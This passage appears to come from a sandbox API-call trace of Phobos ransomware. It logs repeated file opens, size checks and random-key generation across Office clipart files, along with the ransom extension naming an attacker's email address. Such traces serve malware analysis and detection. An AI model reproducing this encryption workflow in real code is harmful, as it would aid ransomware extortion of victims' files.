dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.292] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=22128) returned 1 [0153.292] CloseHandle (hObject=0x57c) returned 1 [0153.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf")) returned 0x220 [0153.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.292] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.293] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6886) returned 1 [0153.293] CloseHandle (hObject=0x57c) returned 1 [0153.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00578_.wmf")) returned 0x220 [0153.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00578_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00578_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.293] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.295] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6440) returned 1 [0153.295] CloseHandle (hObject=0x57c) returned 1 [0153.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf")) returned 0x220 [0153.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.295] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.296] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19690) returned 1 [0153.296] CloseHandle (hObject=0x57c) returned 1 [0153.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf")) returned 0x220 [0153.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.296] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.297] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=45356) returned 1 [0153.297] CloseHandle (hObject=0x57c) returned 1 [0153.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf")) returned 0x220 [0153.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.299] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.300] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24616) returned 1 [0153.300] CloseHandle (hObject=0x57c) returned 1 [0153.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00668_.wmf")) returned 0x220 [0153.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00668_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00668_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.301] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.301] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4234) returned 1 [0153.301] CloseHandle (hObject=0x57c) returned 1 [0153.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf")) returned 0x220 [0153.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.302] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.302] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4398) returned 1 [0153.303] CloseHandle (hObject=0x57c) returned 1 [0153.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf")) returned 0x220 [0153.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.303] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.307] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4408) returned 1 [0153.307] CloseHandle (hObject=0x528) returned 1 [0153.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf")) returned 0x220 [0153.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.307] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.308] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14630) returned 1 [0153.308] CloseHandle (hObject=0x528) returned 1 [0153.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00720_.wmf")) returned 0x220 [0153.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00720_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00720_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.308] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.309] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6908) returned 1 [0153.309] CloseHandle (hObject=0x528) returned 1 [0153.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf")) returned 0x220 [0153.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.310] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.310] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=45476) returned 1 [0153.311] CloseHandle (hObject=0x528) returned 1 [0153.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf")) returned 0x220 [0153.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.311] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.312] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=40492) returned 1 [0153.312] CloseHandle (hObject=0x528) returned 1 [0153.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf")) returned 0x220 [0153.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.312] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.313] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7328) returned 1 [0153.313] CloseHandle (hObject=0x528) returned 1 [0153.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf")) returned 0x220 [0153.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.313] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.314] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6408) returned 1 [0153.314] CloseHandle (hObject=0x528) returned 1 [0153.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf")) returned 0x220 [0153.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.314] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.315] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12544) returned 1 [0153.315] CloseHandle (hObject=0x528) returned 1 [0153.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf")) returned 0x220 [0153.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.316] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.316] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: 